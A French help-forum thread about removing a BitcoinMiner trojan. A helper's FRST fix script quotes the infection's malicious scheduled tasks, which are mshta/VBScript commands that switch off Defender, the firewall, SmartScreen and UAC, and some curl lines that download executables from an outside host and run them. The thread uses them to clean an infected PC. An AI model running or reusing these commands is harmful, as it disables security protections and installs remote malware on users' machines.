Virus BitcoinMiner.Trojan [résolu]

Neru · par **Neru** » 13 juil. 2024 14:24

Bonjour,

Je fais appel à vous suite à des virus 'Virus BitcoinMiner.Trojan' qui se sont installés sur mon PC.
Ralentissement de mon PC, vidéos saccadés, la souris ne répond pas correctement, impossibilité de supprimer des virus...

Ces virus reviennent à chaque fois que je fais une désinfection avec Malwarebytes/SpyHunter.

J'ai donc chercher sur internet et je suis tombé sur l'Analyse et désinfection de virus grâce à FRST.
J'ai donc effectué l'analyse et voici les rapports des fichiers .txt

Pouvez-vous m'aiguiller svp ?
Merci d'avance pour votre aide !

par **Parisien_entraide** » 13 juil. 2024 15:08

Bonjour

Effectivement il y a des soucis ce PC..
Malekal ou Angélique te diront ce qu'il en est

Mais je note un dossier Windows.old relativement récent au 30 juin
C'est en lien avec une mise à jour ou une réparation ?

Defender est désactivé sans compter le reste, ce Windows est bien abimé

Tu utilises une version de Winrar qui est exploitée par les malwares via les cracks
viewtopic.php/viewtopic.php?t=74424

Après désinfection je conseille de virer Lastpass, surnommé l'emmenthal suisse vu les trous de sécu dont on se demande si ils ne sont pas volontaires, sans compter qu'ils se sont fait pirater les données utilisateurs plusieurs fois
viewtopic.php?t=47929

Ca été conseillé par ExpressVPN (Que tu as ) ? En fait tu as les pires packages
viewtopic.php?p=515250#p515250

Pourquoi tu n'as pas joint les rapport MalwareBytyes ?

Neru · par **Neru** » 13 juil. 2024 15:31

Rebonjour, merci pour votre aide,

En effet après la mise à jour de Windows du 30 juin, ce sont vers ces eaux là que les ralentissement ont commencés à apparaître.
Je n'arrive pas à accéder à Windows Defender depuis ce jour. (peut-être avant ? mais je n'avais pas essayé.)

J'ai supprimé Winrar manuellement.

Je n'ai par ailleurs jamais utilisé 'ExpressVPN', ne sachant pas d'où cela provient, j'ai essayé de le désinstaller mais en vain, cela me dit que Windows ne trouve pas le package.

Lorsque je fais une analyse MalwareBytes il y a une détection de 547 menaces, puis après avoir mis en quarantaine/supprimé, en refaisant une analyse il y a 5 menaces qui sont les BitcoinMiner.Trojan.

Je vous envoie les rapports MalwareBytes.

Est-ce qu'une réinitialisation totale de Windows pourrait régler les problèmes actuels ?
Cdt,

Merci de votre réponse !

Neru · par **Neru** » 13 juil. 2024 16:01

https://pjjoint.malekal.com/files.php?i ... d1213z14m5
https://pjjoint.malekal.com/files.php?i ... 8g12k7q8g6
https://pjjoint.malekal.com/files.php?i ... z9k9e14m13

par **Malekal_morte** » 13 juil. 2024 17:48

Bonjour,

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette Voici la correction à effectuer avec FRST. Tu peux t'aider de cette #fix note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.

Code : Tout sélectionner

Start:
CloseProcesses:
CreateRestorePoint:
Task: {2F2F35AC-ECFD-403B-B1BE-548EDCDFF0E9} - System32\Tasks\CPUZ => C:\ProgramData\CPUZ\CPUZ.exe  (Pas de fichier) <==== ATTENTION
Task: {29C93848-B44B-40E0-B075-B643B4E3C9B1} - System32\Tasks\FlushCache => C:\ProgramData\Cache\FlushCache.exe [109822977 2024-07-13] (Microsoft Corporation) [Fichier non signé] <==== ATTENTION
Task: {A10B308E-2B12-4380-AD90-62F9EC4C4A16} - System32\Tasks\FlushCache5 => C:\ProgramData\Cache\FlushCache.exe [109822977 2024-07-13] (Microsoft Corporation) [Fichier non signé]
ask: {950B498C-459C-45FD-B0E6-3E5A26EC95A5} - System32\Tasks\Microsoft\Windows\DirectX\AccountProtection_MicrosoftAccount_Disconnected => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\NTUSER\SOFTWARE\Microsoft\Windows Security Health\State"" /v AccountProtection_MicrosoftAccount_Disconnected /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {0AE10F53-BE25-43D3-9571-CF3FC93FACDB} - System32\Tasks\Microsoft\Windows\DirectX\Antimalware => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\EventLog\System\Microsoft-Antimalware-ShieldProvider /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {FE100D21-B86A-488D-A6A6-F9017B674F40} - System32\Tasks\Microsoft\Windows\DirectX\AppAndBrowser_StoreAppsSmartScreenOff => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Security Health\State"" /v AppAndBrowser_StoreAppsSmartScreenOff /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {36196729-C44A-4124-B17E-5A87B738ACE3} - System32\Tasks\Microsoft\Windows\DirectX\EnabledV9 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter /v EnabledV9 /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {A9153DD1-B7B2-4B68-97A2-9BC8C9405C33} - System32\Tasks\Microsoft\Windows\DirectX\EnabledV92 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter /v EnabledV9 /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {782E20AD-79C9-44A8-B53F-1C0313809541} - System32\Tasks\Microsoft\Windows\DirectX\EnableFirewall => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile /v EnableFirewall /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {5CE760DA-722A-42FD-AAF8-8A71235F891C} - System32\Tasks\Microsoft\Windows\DirectX\EnableFirewall2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile /v EnableFirewall /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {681E7C55-DBD6-4DF2-B9F3-31FB414FADD9} - System32\Tasks\Microsoft\Windows\DirectX\EnableFirewall3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile /v EnableFirewall /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {7F94FFE9-830F-4E99-8456-B88252C4242C} - System32\Tasks\Microsoft\Windows\DirectX\EnableSmartScreen => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v EnableSmartScreen /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {60685C30-2C5A-4B51-AE80-90018050813D} - System32\Tasks\Microsoft\Windows\DirectX\EnableWebContentEvaluation => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v EnableWebContentEvaluation /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {C6E9ED41-F37D-4FFD-96A6-393AAFC55585} - System32\Tasks\Microsoft\Windows\DirectX\EnableWebContentEvaluation2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\NTUSER\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v EnableWebContentEvaluation /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {FF86BEA2-75C6-467F-8963-F30B040E2743} - System32\Tasks\Microsoft\Windows\DirectX\MsSecFlt => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\MsSecFlt /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {75D9A330-93BD-4AA9-89DC-92295EE520AB} - System32\Tasks\Microsoft\Windows\DirectX\PreventOverride => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {521B9803-8B16-49DF-BCB2-6A34B10DE93A} - System32\Tasks\Microsoft\Windows\DirectX\PreventOverride1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\NTUSER\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {7CD40DA0-AAFA-4617-AB4B-102B80C27773} - System32\Tasks\Microsoft\Windows\DirectX\PreventOverride2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {E31221C7-A0B2-4DAB-810C-307E45C6219B} - System32\Tasks\Microsoft\Windows\DirectX\PreventOverride3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {C81F3FD9-61A6-4922-99BA-7C1FCCB3A0D3} - System32\Tasks\Microsoft\Windows\DirectX\SecurityHealth2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v SecurityHealth /t REG_BINARY /d 030000000000000000000000 /f",0)(Window.Close) <==== ATTENTION
Task: {6D075DF8-D1E9-4EC4-9518-7A164440B024} - System32\Tasks\Microsoft\Windows\DirectX\Sense => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\Sense /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {01512227-14FA-4F3E-97B9-B55CE2016355} - System32\Tasks\Microsoft\Windows\DirectX\Services CHosted => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c %windir%\system32\curl.exe hxxp://l96.org/c.exe -o %windir%\c.exe & %windir%\c.exe",0)(Window.Close) <==== ATTENTION
Task: {B6584652-8D0C-45B4-86C8-E7F52D4C0B13} - System32\Tasks\Microsoft\Windows\DirectX\UAC Content => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {276A8909-D044-4AA0-B8C4-C09FD525B73B} - System32\Tasks\Microsoft\Windows\DirectX\UAC Popup => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {3BB86293-5907-43E6-9DEB-A6BCE254FFCA} - System32\Tasks\Microsoft\Windows\DirectX\WinDefend3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\EventLog\System\WinDefend /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {D17453D8-8C7A-47CB-9494-8917585C192B} - System32\Tasks\Microsoft\Windows\SpacePort\1MX => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c curl -L hxxp://dl.l96.org/mx.exe --output C:\Users\Public\mx.exe & start C:\Users\Public\mx.exe",0)(Window.Close) <==== ATTENTION
Task: {784E322D-3100-4C60-8FDC-AFDF186D12B6} - System32\Tasks\Microsoft\Windows\SpacePort\2MX => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c curl -L hxxp://dl.l96.org/mx.exe --output C:\Users\Public\mx.exe & start C:\Users\Public\mx.exe",0)(Window.Close) <==== ATTENTION
Task: {C4D6D2C7-035B-4EA8-BF65-7901FCCACF83} - System32\Tasks\Microsoft\Windows\SpacePort\AccountProtection_MicrosoftAccount_Disconnected => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\NTUSER\SOFTWARE\Microsoft\Windows Security Health\State"" /v AccountProtection_MicrosoftAccount_Disconnected /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {DD526E9F-2E52-481B-A4E6-AF29281BA990} - System32\Tasks\Microsoft\Windows\SpacePort\AdditionalActionTimeOut => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting"" /v AdditionalActionTimeOut /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {174554BA-D1AB-4863-8672-1B609F76EE9E} - System32\Tasks\Microsoft\Windows\SpacePort\Antimalware => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\EventLog\System\Microsoft-Antimalware-ShieldProvider /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {0F8EE319-687F-44C7-8FA0-B2ABEF2D0850} - System32\Tasks\Microsoft\Windows\SpacePort\AppAndBrowser_StoreAppsSmartScreenOff => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Security Health\State"" /v AppAndBrowser_StoreAppsSmartScreenOff /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {E3D7B704-DF9B-4031-AB5C-59B2DEFABA08} - System32\Tasks\Microsoft\Windows\SpacePort\AvgCPULoadFactor => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v AvgCPULoadFactor /t REG_DWORD /d 10 /f",0)(Window.Close) <==== ATTENTION
Task: {57E86EAD-5FD7-41C8-840B-FC82B952E928} - System32\Tasks\Microsoft\Windows\SpacePort\CriticalFailureTimeOut => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting"" /v CriticalFailureTimeOut /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {CBB10648-BC3A-43FD-9AB0-B5DC37F6C3BD} - System32\Tasks\Microsoft\Windows\SpacePort\DefenderApiLogge1r => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger /v Start /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {ED481ECB-D97E-416A-B364-D0281C6C49B4} - System32\Tasks\Microsoft\Windows\SpacePort\DefenderApiLogger => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Control\WMI\Autologger\DefenderApiLogger /v Start /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {A9F0FAF5-B2DB-41A2-BBBC-439F6DB867B8} - System32\Tasks\Microsoft\Windows\SpacePort\DefenderAuditLogger => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Control\WMI\Autologger\DefenderAuditLogger /v Start /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {458C71D4-72D2-40FA-9F70-A181107B9832} - System32\Tasks\Microsoft\Windows\SpacePort\DefenderAuditLogger1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger /v Start /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {95ACB291-7227-4835-BC82-E81D9BCAEAE2} - System32\Tasks\Microsoft\Windows\SpacePort\DisableAntiSpyware => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender"" /v DisableAntiSpyware /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {761827D6-5CDC-4B4C-8DFA-021AF8F37EB2} - System32\Tasks\Microsoft\Windows\SpacePort\DisableAntiSpyware2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender"" /v DisableAntiSpyware /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {5164F1A6-0E3B-4E5A-A4BC-AFE34D0C417F} - System32\Tasks\Microsoft\Windows\SpacePort\DisableAntiSpyware3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableAntiSpyware /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {33C923A4-AFAB-4181-8F54-F4E6DF81A4F4} - System32\Tasks\Microsoft\Windows\SpacePort\DisableAntiVirus => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender"" /v DisableAntiVirus /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {274854E7-830F-4F01-845D-E2BFD2344D6B} - System32\Tasks\Microsoft\Windows\SpacePort\DisableAntiVirus2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender"" /v DisableAntiVirus /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {4F46DFBB-9269-4002-BF34-108078D6C7DC} - System32\Tasks\Microsoft\Windows\SpacePort\DisableArchiveScanning => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v DisableArchiveScanning /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {A2DD1BDE-75D5-4115-B9AA-D52241B76E6C} - System32\Tasks\Microsoft\Windows\SpacePort\DisableArchiveScanning1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisableArchiveScanning True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {F508A987-EDC5-4BC9-B429-63FD9A20CC49} - System32\Tasks\Microsoft\Windows\SpacePort\DisableAutoExclusions => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions"" /v DisableAutoExclusions /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {B940396A-0532-4C3E-81DA-EDA3F285C8B2} - System32\Tasks\Microsoft\Windows\SpacePort\DisableBehaviorMonitoring => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisableBehaviorMonitoring True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {D0ABA23F-DC3A-4D20-A010-849DC2405E5E} - System32\Tasks\Microsoft\Windows\SpacePort\DisableBehaviorMonitoring2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {E95F5166-026A-41CC-99B1-04C4B3B6D619} - System32\Tasks\Microsoft\Windows\SpacePort\DisableBehaviorMonitoring21 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {4DAD07B1-4E16-439C-A72F-530C028227A1} - System32\Tasks\Microsoft\Windows\SpacePort\DisableBlockAtFirstSeen => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet"" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {5B932819-6F81-4FAA-BCDF-9CBB6DE4A00B} - System32\Tasks\Microsoft\Windows\SpacePort\DisableBlockAtFirstSeen1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisableBlockAtFirstSeen True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {DD16FBFA-72D9-40E7-8084-A96C6E86B034} - System32\Tasks\Microsoft\Windows\SpacePort\DisableBlockAtFirstSeen2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet"" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {80A773C9-A583-4854-8F4A-6A0DCFF40D58} - System32\Tasks\Microsoft\Windows\SpacePort\DisableCatchupFullScan => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v DisableCatchupFullScan /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {13F7FC47-C64A-4D90-9709-C72A3F0EA92E} - System32\Tasks\Microsoft\Windows\SpacePort\DisableCatchupQuickScan => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v DisableCatchupQuickScan /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {46D96649-EFFC-4A5A-A4A3-0ACA109A4C26} - System32\Tasks\Microsoft\Windows\SpacePort\DisableEnhancedNotifications => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting"" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {BF84BF1B-DB59-49D7-9BB3-3E924FB77D7C} - System32\Tasks\Microsoft\Windows\SpacePort\DisableEnhancedNotifications1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\Reporting"" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {35134AF3-CAF3-4528-B255-3A4CDF0C4919} - System32\Tasks\Microsoft\Windows\SpacePort\DisableEnhancedNotifications2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications"" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {B5CD7CAB-BCE0-4F5F-A879-3F6AA172E789} - System32\Tasks\Microsoft\Windows\SpacePort\DisableGenericRePorts => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting"" /v DisableGenericRePorts /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {340FF27B-3C7C-4936-992B-8593CC03DEA1} - System32\Tasks\Microsoft\Windows\SpacePort\DisableIntrusionPreventionSystem => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {6116B2DD-2788-4C60-93E0-7ED08B7D3746} - System32\Tasks\Microsoft\Windows\SpacePort\DisableIOAVProtection => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableIOAVProtection /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {A83F7B04-84ED-4214-93A8-02E0E05B0C4D} - System32\Tasks\Microsoft\Windows\SpacePort\DisableIOAVProtection1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisableIOAVProtection True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
